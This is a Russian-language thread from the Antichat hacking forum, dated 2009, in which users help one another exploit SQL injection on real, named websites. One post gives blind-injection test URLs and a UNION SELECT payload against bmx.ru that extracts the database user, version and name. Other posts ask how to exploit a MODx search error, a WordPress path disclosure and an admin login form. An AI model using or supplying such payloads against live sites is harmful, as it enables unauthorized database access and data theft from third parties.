ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #9781  
Старый 01.11.2009, 16:27
gisTy
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
Провел на форуме:
3629857

Репутация: 504


По умолчанию

Цитата:
Сообщение от [QwyZ]  
ну дак я про это и говорю - а толко че с этим далше делать - хз,я в скулях нерублю
читай маны
например тут:
Цитата:
http://forum.antichat.ru/thread19844.html
или тут:
Цитата:
http://forum.antichat.ru/thread43966.html

Последний раз редактировалось gisTy; 01.11.2009 в 16:32..
 
Ответить с цитированием

Wordpress 2.5
  #9782  
Старый 01.11.2009, 16:28
acdel
Участник форума
Регистрация: 07.01.2008
Сообщений: 187
Провел на форуме:
2809557

Репутация: 126
Отправить сообщение для acdel с помощью ICQ
По умолчанию Wordpress 2.5

При обращении к файлу

http://localhost/blog/wp-includes/class-feed.php

имеем

Цитата:
Warning: require_once(ABSPATHWPINC/class-simplepie.php) [function.require-once]: failed to open stream: No such file or directory in T:\home\localhost\blog\wp-includes\class-feed.php on line 4

Fatal error: require_once() [function.require]: Failed opening required 'ABSPATHWPINC/class-simplepie.php' (include_path='.;/usr/local/PHP/PEAR;/usr/local/PHP/Smarty') in T:\home\localhost\blog\wp-includes\class-feed.php on line 4
Можно это как-то раскрутить, без параметра?
 
Ответить с цитированием

  #9783  
Старый 01.11.2009, 16:29
keng
Познающий
Регистрация: 09.04.2008
Сообщений: 79
Провел на форуме:
463189

Репутация: 124
По умолчанию

Цитата:
Сообщение от [QwyZ]  
короч нашел на одном интересном сайте как я понимаю инжект в скулю.дело в том что скульинж я плохо понимаю так как со скулью неработаю.вобщем посоветуте ЧТО и каким образом можно извлечь из вот такого варнинга:

« MODx Parse Error »MODx encountered the following error while attempting to parse the requested resource:
« Execution of a query to the database failed - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\\">%' OR sc.longtitle LIKE '%\\">\\'>sc\\">%' OR sc.description LIKE '%\\">\\'>' at line 1 »
SQL: SELECT DISTINCT sc.id, sc.pagetitle, sc.longtitle, sc.description FROM `uХХХХХХХ_main`.`ХХХ_site_content` sc LEFT JOIN `uХХХХХХ_main`.`ХХХ_site_tmplvar_contentv alues` stc ON sc.id = stc.contentid WHERE (sc.pagetitle LIKE '%\\">\\'>sc\\">%' OR sc.longtitle LIKE '%\\">\\'>sc\\">%' OR sc.description LIKE '%\\">\\'>sc\\">%' OR sc.content LIKE '%\\">\\'>sc\\">%' OR stc.value LIKE '%\\">\\'>sc\\">%') AND sc.privateweb=0 AND sc.published=1 AND sc.searchable=1 AND sc.deleted=0;



вводил в поле поиска - ">'>sc"><
Тебе вот сюда .
 
Ответить с цитированием

  #9784  
Старый 01.11.2009, 16:30
gisTy
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
Провел на форуме:
3629857

Репутация: 504


По умолчанию

Цитата:
Сообщение от acdel  
Можно это как-то раскрутить, без параметра?
я думаю, что нет
 
Ответить с цитированием

  #9785  
Старый 01.11.2009, 17:32
keng
Познающий
Регистрация: 09.04.2008
Сообщений: 79
Провел на форуме:
463189

Репутация: 124
По умолчанию

Прошу помощи. Нашёл следующую скулю:
Код:
http://www.bmx.ru/files.php?id=1'
Подбираю поля. Дохожу до шести, используя в качестве комментария символ "--". Выходит следующее:
Код:
http://www.bmx.ru/files.php?id=1+union+select+1,1,1,1--
Цитата:
Не могу выполнить запрос! SELECT * FROM bmx_files WHERE razd_id = 1 union select 1,1,1,1-- ORDER BY id DESC
Пробую подобрать дальше, выскакивает другая ошибка:
Цитата:
Не могу выполнить запрос! SELECT * FROM bmx_razds_f WHERE id = 1 union select 1,1,1,1,1--
Это не операбельно, или у меня совсем мозг не работает уже?
 
Ответить с цитированием

  #9786  
Старый 01.11.2009, 17:50
nemaniak
Участник форума
Регистрация: 10.06.2008
Сообщений: 201
Провел на форуме:
1174919

Репутация: 229
По умолчанию

Цитата:
Сообщение от keng  
Прошу помощи. Нашёл следующую скулю:
Код:
http://www.bmx.ru/files.php?id=1'
Подбираю поля. Дохожу до шести, используя в качестве комментария символ "--". Выходит следующее:
Код:
http://www.bmx.ru/files.php?id=1+union+select+1,1,1,1--


Пробую подобрать дальше, выскакивает другая ошибка:


Это не операбельно, или у меня совсем мозг не работает уже?
думаю ее просто нужно крутить как слепую

Код:
http://www.bmx.ru/files.php?id=1+and+1=1+--+
Код:
http://www.bmx.ru/files.php?id=1+and+1=0+--+
 
Ответить с цитированием

  #9787  
Старый 01.11.2009, 18:04
keng
Познающий
Регистрация: 09.04.2008
Сообщений: 79
Провел на форуме:
463189

Репутация: 124
По умолчанию

Цитата:
Сообщение от nemaniak  
думаю ее просто нужно крутить как слепую

Код:
http://www.bmx.ru/files.php?id=1+and+1=1+--+
Код:
http://www.bmx.ru/files.php?id=1+and+1=0+--+
Я тоже об этом думал. Раз нет других вариантов - буду так. Большое спасибо!
 
Ответить с цитированием

  #9788  
Старый 01.11.2009, 18:07
z00MAN
Постоянный
Регистрация: 20.11.2008
Сообщений: 406
Провел на форуме:
2358980

Репутация: 930
По умолчанию

keng
как вариант:
Код:
http://www.bmx.ru/foto.php?al_id=-17+union+select+1,2,concat_ws(0x3a,user(),version(),database()),4,5,6--
 
Ответить с цитированием

  #9789  
Старый 01.11.2009, 18:09
keng
Познающий
Регистрация: 09.04.2008
Сообщений: 79
Провел на форуме:
463189

Репутация: 124
По умолчанию

Цитата:
Сообщение от z00MAN  
keng
как вариант:
Код:
http://www.bmx.ru/foto.php?al_id=-17+union+select+1,2,concat_ws(0x3a,user(),version(),database()),4,5,6--
Благодарю!
 
Ответить с цитированием

  #9790  
Старый 01.11.2009, 18:45
street16
Познающий
Регистрация: 18.09.2006
Сообщений: 43
Провел на форуме:
468989

Репутация: 3
По умолчанию

Есть сайт!есть админка.в поле login ввожу ковычку.выдаёт Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /usr/home/data/www/includes/functions_mysql.php on line 67.Что можно сделать?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ